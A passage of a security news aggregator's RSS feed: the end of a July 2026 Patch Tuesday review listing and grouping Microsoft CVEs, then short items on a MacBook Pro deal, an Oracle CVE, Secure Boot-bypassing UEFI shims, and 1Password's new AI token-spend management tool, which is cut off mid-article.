  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49800"><span>CVE-2026-49800</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50480"><span>CVE-2026-50480</span></a></td>
  <td width="256" class="xl74">Windows Web Proxy
  Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56173"><span>CVE-2026-56173</span></a></td>
  <td width="256" class="xl74">Windows WebView
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58632"><span>CVE-2026-58632</span></a></td>
  <td width="256" class="xl74">Windows Win32 Kernel
  Subsystem Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54107"><span>CVE-2026-54107</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54986"><span>CVE-2026-54986</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54112"><span>CVE-2026-54112</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54114"><span>CVE-2026-54114</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50670"><span>CVE-2026-50670</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50688"><span>CVE-2026-50688</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50687"><span>CVE-2026-50687</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56176"><span>CVE-2026-56176</span></a></td>
  <td width="256" class="xl74">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58628"><span>CVE-2026-58628</span></a></td>
  <td width="256" class="xl74">Windows Wireless
  Network Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50295"><span>CVE-2026-50295</span></a></td>
  <td width="256" class="xl74">Windows Zero Trust DNS
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50509"><span>CVE-2026-50509</span></a></td>
  <td width="256" class="xl74">Wireless Wide Area
  Network Service (WwanSvc) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55945"><span>CVE-2026-55945</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45488"><span>CVE-2026-45488</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45489"><span>CVE-2026-45489</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55145"><span>CVE-2026-55145</span></a></td>
  <td width="256" class="xl74">Outlook Copilot
  Tampering Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56181"><span>CVE-2026-56181</span></a></td>
  <td width="256" class="xl74">Windows Network
  Address Translation (NAT) Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58597"><span>CVE-2026-58597</span></a></td>
  <td width="256" class="xl74">Microsoft
  Edge (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl73">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  






  <p class=""><em>** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.</em></p><p class=""><em> </em></p><p class=""><em> </em></p><p class="">I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.</p><p class=""> </p><p class="">Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.</p><p class="">That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.</p><p class="">The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.</p><p class="">And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.</p><p class="">There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.</p><p class="">There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
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<title><![CDATA[Apple's 1TB M5 MacBook Pro falls to $1,849 in today's price war]]></title>
<description><![CDATA[A price war has erupted between Amazon and B&H, resulting in Apple's current M5 MacBook Pro 14-inch falling to $1,849. Plus save up to $500 on a multitude of models.Apple's M5 MacBook Pro is $150 off in price war - Image credit: AppleB&H and Amazon are competing for your business this Tuesday, wi...]]></description>
<link>https://tsecurity.de/de/3668514/ios-mac-os/apples-1tb-m5-macbook-pro-falls-to-1849-in-todays-price-war/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668514/ios-mac-os/apples-1tb-m5-macbook-pro-falls-to-1849-in-todays-price-war/</guid>
<pubDate>Tue, 14 Jul 2026 17:46:29 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A price war has erupted between Amazon and B&amp;H, resulting in Apple's current <a href="https://prices.appleinsider.com/product/macbook-pro-14-inch-m5/MDE14LL/A">M5 MacBook Pro 14-inch</a> falling to $1,849. Plus save up to $500 on a multitude of models.<br><br><div><img src="https://photos5.appleinsider.com/gallery/68244-143868-macbook-pro-1tb-1849-deal-xl.jpg" alt="Open MacBook Pro laptop with abstract dark pattern on the screen, blue gradient background, and large white text reading M5 1TB $1,849 across the center" height="720"><br><span>Apple's M5 MacBook Pro is $150 off in price war - Image credit: Apple</span></div><br><a href="https://www.bhphotovideo.com/c/product/1925476-REG/apple_mde14ll_a_14_macbook_pro_m5.html/BI/1717/KBID/2301/SID/da-macp-14in-m5-1tb-1849-071426" rel="nofollow" target="_blank">B&amp;H</a> and <a href="https://www.amazon.com/dp/B0FWD623D1/?th=1&amp;tag=apinsiderdeals-20" rel="nofollow" target="_blank">Amazon</a> are competing for your business this Tuesday, with a $150 discount on the 10-core M5 14-inch MacBook Pro with 16GB of unified memory and 1TB of storage, bringing the price down to $1,849. Both Space Black and Silver are available for that price, with B&amp;H stating there is limited supply available.<br><br><ul><br><br><br> <a href="https://appleinsider.com/articles/26/07/14/apples-1tb-m5-macbook-pro-falls-to-1849-in-todays-price-war?utm_source=rss">Continue Reading on AppleInsider</a> | <a href="https://forums.appleinsider.com/discussion/244953?urm_source=rss">Discuss on our Forums</a></ul>]]></content:encoded>
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<title><![CDATA[CVE-2018-25032 | Oracle Communications Cloud Native Core Unified Data Repository UDR denial of service (EUVD-2022-1454 / Nessus ID 215308)]]></title>
<description><![CDATA[A vulnerability was found in Oracle Communications Cloud Native Core Unified Data Repository 22.2.0. It has been declared as critical. Affected is an unknown function of the component UDR. Executing a manipulation can lead to denial of service.

This vulnerability is registered as CVE-2018-25032....]]></description>
<link>https://tsecurity.de/de/3668395/sicherheitsluecken/cve-2018-25032-oracle-communications-cloud-native-core-unified-data-repository-udr-denial-of-service-euvd-2022-1454-nessus-id-215308/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668395/sicherheitsluecken/cve-2018-25032-oracle-communications-cloud-native-core-unified-data-repository-udr-denial-of-service-euvd-2022-1454-nessus-id-215308/</guid>
<pubDate>Tue, 14 Jul 2026 16:56:52 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/oracle:communications_cloud_native_core_unified_data_repository">Oracle Communications Cloud Native Core Unified Data Repository 22.2.0</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. Affected is an unknown function of the component <em>UDR</em>. Executing a manipulation can lead to denial of service.

This vulnerability is registered as <a href="https://vuldb.com/cve/CVE-2018-25032">CVE-2018-25032</a>. It is possible to launch the attack remotely. No exploit is available.

It is recommended to upgrade the affected component.]]></content:encoded>
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<title><![CDATA[11 Old Microsoft-Signed Linux UEFI Shims Could Let Attackers Bypass Secure Boot]]></title>
<description><![CDATA[Cybersecurity researchers have discovered 11 old, Microsoft-signed, Unified Extensible Firmware Interface (UEFI) applications that could be abused to bypass Secure Boot on most systems using the modern firmware standard. “An attacker exploiting one of these vulnerable applications can execute unt...]]></description>
<link>https://tsecurity.de/de/3668128/it-security-nachrichten/11-old-microsoft-signed-linux-uefi-shims-could-let-attackers-bypass-secure-boot/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668128/it-security-nachrichten/11-old-microsoft-signed-linux-uefi-shims-could-let-attackers-bypass-secure-boot/</guid>
<pubDate>Tue, 14 Jul 2026 15:38:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Cybersecurity researchers have discovered 11 old, Microsoft-signed, Unified Extensible Firmware Interface (UEFI) applications that could be abused to bypass Secure Boot on most systems using the modern firmware standard. “An attacker exploiting one of these vulnerable applications can execute untrusted…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/11-old-microsoft-signed-linux-uefi-shims-could-let-attackers-bypass-secure-boot/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/11-old-microsoft-signed-linux-uefi-shims-could-let-attackers-bypass-secure-boot/">11 Old Microsoft-Signed Linux UEFI Shims Could Let Attackers Bypass Secure Boot</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[1Password moves into AI cost management, betting that token spend is the next enterprise budget crisis]]></title>
<description><![CDATA[1Password on Tuesday launched AI Spend and Consumption Management, a new capability embedded in its SaaS Manager platform that gives IT and finance teams a unified, real-time view of how their organizations consume and spend on AI services from vendors including Anthropic, Cursor, and OpenAI.The ...]]></description>
<link>https://tsecurity.de/de/3668120/it-nachrichten/1password-moves-into-ai-cost-management-betting-that-token-spend-is-the-next-enterprise-budget-crisis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668120/it-nachrichten/1password-moves-into-ai-cost-management-betting-that-token-spend-is-the-next-enterprise-budget-crisis/</guid>
<pubDate>Tue, 14 Jul 2026 15:32:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://1password.com/">1Password</a> on Tuesday launched <a href="https://1password.com/product/saas-manager">AI Spend and Consumption Management</a>, a new capability embedded in its SaaS Manager platform that gives IT and finance teams a unified, real-time view of how their organizations consume and spend on AI services from vendors including <a href="https://www.anthropic.com/">Anthropic</a>, <a href="https://cursor.com/">Cursor</a>, and <a href="https://openai.com/">OpenAI</a>.</p><p>The move marks the latest strategic expansion for a company that built its reputation on password management for consumers and, over the past three years, has aggressively repositioned itself as a broader identity security and SaaS governance platform for enterprise buyers. With this release, 1Password is staking a claim in one of enterprise technology's newest and most chaotic budget categories: the consumption-based cost of large language models.</p><p>"Executives want teams to build faster with AI, but that speed is creating a new kind of spending pressure," Greg Henry, 1Password's chief financial officer, said in an exclusive interview with VentureBeat. "Developers are consuming tokens at a pace that traditional budgets weren't built to manage, and IT and finance teams are being asked to forecast and justify AI investments without a clear view of what's actually driving costs."</p><p>The product, now in public preview with broad availability planned for fall 2026, connects directly to vendor admin APIs to pull token-level consumption data daily. It normalizes that data across providers into a single dashboard and allows organizations to set vendor-level spend limits, configure threshold-based alerts via Slack and email, and break down usage by team, user, vendor, and model.</p><div></div><h2><b>Why traditional software budgets can't keep up with AI token pricing</b></h2><p>The core challenge <a href="https://1password.com/">1Password</a> is targeting is structural. Traditional SaaS pricing operates on a per-seat, per-year model that is easy to budget and reconcile. AI pricing does not. Every API call to <a href="https://claude.ai/">Claude</a>, <a href="https://openai.com/index/gpt-5-6/">GPT-5.6</a>, or a <a href="https://cursor.com/docs/api">Cursor-powered coding assistant</a> consumes tokens, and the cost of those tokens varies by model, by input versus output, and by the complexity of the task. A single engineering team running agentic workflows can burn through a prepaid token budget in weeks — and the finance team may not notice until the invoice arrives.</p><p>Henry drew a sharp analogy to a problem enterprises have already lived through once. "Consumption-based pricing isn't new," he said. "We saw it arrive with cloud infrastructure, and it took years to build the tools and disciplines to manage it. AI is the next version of that shift."</p><p>That comparison resonates across the industry. When <a href="https://aws.amazon.com/">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us">Microsoft Azure</a>, and <a href="https://cloud.google.com/">Google Cloud</a> popularized consumption-based pricing for compute and storage in the 2010s, enterprises initially lacked the tooling to monitor and optimize their cloud bills. That gap spawned an entire FinOps ecosystem — companies like CloudHealth, Spot.io, and Apptio built multi-billion-dollar businesses helping organizations understand what they were spending on cloud and why. Henry is explicitly betting that AI token spend will follow the same trajectory, and that organizations that fail to build visibility now will end up, as he put it, "paying far more than they needed to, for far longer than they should have."</p><p>The scale of the coming wave lends credibility to that bet. Goldman Sachs has estimated that token consumption from AI agents alone will grow 24 times by 2030, a projection driven by the expectation that autonomous AI systems will increasingly execute multi-step workflows — booking travel, writing and deploying code, managing customer service interactions — that generate vastly more API calls than a human sitting at a chat interface.</p><h2><b>How 1Password's new dashboard tracks every token across Anthropic, Cursor, and OpenAI</b></h2><p>The new capability extends <a href="https://1password.com/product/saas-manager">1Password SaaS Manager</a>'s existing foundation of application discovery, license management, and spend analytics. It is not a standalone product. Existing SaaS Manager customers can activate it by connecting their supported AI vendor API keys, at which point consumption data flows into a dedicated AI Consumption Management dashboard. Henry confirmed that there is no separate product or add-on fee: "AI Spend and Consumption Management is available to all 1Password SaaS Manager customers."</p><p>The system provides four core functions. First, it aggregates token usage and spend across Anthropic, Cursor, and OpenAI into a single, normalized view — eliminating the need to toggle between three separate vendor dashboards with three different reporting formats. Second, it enables budget controls: organizations can set vendor-level spend limits, configure percentage-based thresholds, and receive automated alerts when prepaid balances approach depletion. Third, it disaggregates consumption by team, user, vendor, and model, allowing finance and IT to understand not just how much is being spent, but where and by whom. Fourth, it situates AI spend within the broader SaaS portfolio, helping organizations see how token costs relate to their total software investment.</p><p>Notably, the system captures consumption regardless of whether a human or an AI agent generated it. "Token consumption is captured at the API level regardless of whether a human or an agent is generating it," Henry explained. "Organizations get the total consumption picture, including the spikes that agent loops can create, which can be some of the hardest usage to catch before it becomes a problem."</p><p>That agent-level visibility matters because autonomous AI systems can generate runaway costs in ways that human users typically cannot. An agentic coding assistant stuck in a retry loop, for example, can consume thousands of dollars in tokens in minutes — with no human in the loop to notice. For now, the product alerts but does not enforce. When asked whether 1Password will eventually give organizations the ability to automatically cut off spending when a threshold is crossed, Henry said the company is "actively evaluating" automatic enforcement but emphasized that visibility must come first: "You can't enforce what you can't see."</p><h2><b>The choice of launch partners reveals where enterprise AI budgets are under the most pressure</b></h2><p>The decision to start with <a href="https://www.anthropic.com/">Anthropic</a>, <a href="https://cursor.com/">Cursor</a>, and <a href="https://openai.com/">OpenAI</a> — rather than casting a wider net — reflects where enterprise AI adoption and budget strain are most concentrated right now. Henry said the choice was driven entirely by customer demand. "Anthropic, Cursor, and OpenAI are where we're seeing the highest adoption, and where token consumption can move fast and get ahead of the teams responsible for managing it," he said. The company plans to add additional vendors based on customer demand, API availability, and budget impact, though it has not committed to a specific timeline or vendor list.</p><p>The inclusion of Cursor alongside the two major foundation model providers is telling. <a href="https://cursor.com/">Cursor</a>, an AI-powered code editor that has rapidly gained traction among developers, represents a category of AI tool where consumption is particularly difficult to forecast. Unlike a chatbot interface where a user consciously types a prompt, Cursor integrates AI suggestions directly into the development workflow, generating token consumption continuously as developers write code. That ambient, always-on consumption pattern makes it especially prone to budget overruns.</p><p>Henry also addressed who inside an organization should actually own this problem — and acknowledged that the honest answer right now is no one. "When spend is fragmented across vendor dashboards and finance teams are reconciling it monthly, you're always behind," he said. "AI spend can't be treated as a finance-only or IT-only problem." He noted that the pricing differences between models have become significant enough that the choice of which AI model a team uses is now a meaningful financial decision, one that is pulling CFOs into conversations with IT, product, and engineering leaders "in ways they never had to before."</p><p>Steve May, director of IT at ServiceTrade, a 1Password customer that has been using the capability, said it addressed a concrete planning gap. "Forecasting tools for AI consumption and spend was one of our biggest gaps in planning because we didn't have a reliable way to track it," May said. He added that the visibility has "prevented overages that would have cost far more to fix after the fact."</p><h2><b>Where 1Password fits in the fast-consolidating SaaS management market</b></h2><p>1Password is not the only company racing to solve the AI cost management problem, but the competitive landscape is still fragmented and the category is far from mature.</p><p><a href="https://zylo.com/">Zylo</a>, a SaaS management platform that Gartner has also recognized as a leader in the space, published its <a href="https://zylo.com/news/2026-saas-management-index">2026 SaaS Management Index</a> in January showing that AI-native application spend surged 393% year over year in organizations with more than 10,000 employees and 108% overall. Zylo's data also revealed that ChatGPT has become the most expensed application in enterprise environments, highlighting how AI tools are entering organizations through employee credit cards and expense reports — outside formal procurement and governance workflows. Zylo has added its own token-level cost tracking for AI vendors including Anthropic, OpenAI, Cursor, and Perplexity.</p><p>Meanwhile, according to a comparison published by <a href="https://coommit.com/blog/saas-management-platforms-2026-zylo-vs-vendr-vs-sastrify">Coommit</a> in May, <a href="https://www.vendr.com/">Vendr</a> — which focuses more on SaaS negotiation than discovery — tracks AI tools at the contract level but does not yet offer consumption-level visibility. And the FinOps Foundation reported in its 2026 State of FinOps survey that 98% of organizations now actively manage AI costs, up from just 31% in 2024. The broader SaaS management market is also consolidating rapidly. In May, Deel acquired Sastrify, a German SaaS management vendor, and began folding it into its HR platform — a signal that SaaS management capabilities are increasingly being absorbed into adjacent enterprise platforms rather than remaining standalone products.</p><p>1Password's approach differs from pure-play SaaS management competitors in 